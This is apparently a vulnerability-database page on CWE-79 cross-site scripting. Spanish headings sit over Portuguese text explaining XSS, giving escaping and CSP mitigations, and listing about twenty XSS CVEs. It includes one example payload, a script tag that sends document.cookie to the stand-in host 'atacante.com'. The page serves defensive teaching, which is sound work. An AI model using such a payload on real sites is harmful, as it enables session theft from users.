Fallos del tipo CWE-79

30.259 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-11332MEDIUMHIPAA Compliant Forms with Drag’n’Drop HIPAA Form Builder. Sign HIPAA documents <= 1.3.4 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-13563MEDIUMFront End Users <= 3.2.30 - Authenticated (Contributor+) Stored Cross-Site Scripting via forgot-password ShortcodeEPSS 0.3%CVE-2024-43313HIGHWordPress FormFacade plugin <= 1.3.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2023-7238HIGHImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in Orthanc Osimis DICOM Web ViewerEPSS 0.3%CVE-2026-111574HIGHRedirection for Contact Form 7 2.2.7 - 3.2.11 - Unauthenticated Stored XSS via Lead Debug MetaboxEPSS 0.3%CVE-2025-22564HIGHWordPress Pretty Url Plugin <= 1.5.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-23525HIGHWordPress Kv Compose Email From Dashboard plugin <= 1.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2023-27739MEDIUMeasyXDM 2.5 allows XSS via the xdm_e parameter.EPSS 0.3%CVE-2024-43327HIGHWordPress Invite Anyone plugin <= 1.4.7 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-5791HIGHAppointment Booking and Online Scheduling <= 4.4.2 - Missing Authorization to Unauthenticated Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-70791MEDIUMCross Site Scripting vulnerability in the "/admin/order/abandoned" endpoint of Microweber 2.0.19. An attacker can manipulate the "orderDirecEPSS 0.3%CVE-2024-43238HIGHWordPress weMail plugin <= 1.14.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-23652HIGHWordPress Add custom content after post plugin <= 1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-47360HIGHWordPress BA Book Everything plugin <= 1.6.20 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-0897MEDIUMModal Window <= 6.1.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via iframeBox ShortcodeEPSS 0.3%CVE-2024-37257HIGHWordPress Permalink Manager Lite plugin <= 2.4.3.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-23653HIGHWordPress Form To Online Booking plugin <= 1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-41841MEDIUMAdobe Experience Manager | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.3%CVE-2024-41842MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-0809HIGHLink Fixer <= 3.4 - Unauthenticated Stored Cross-Site ScriptingEPSS 0.3%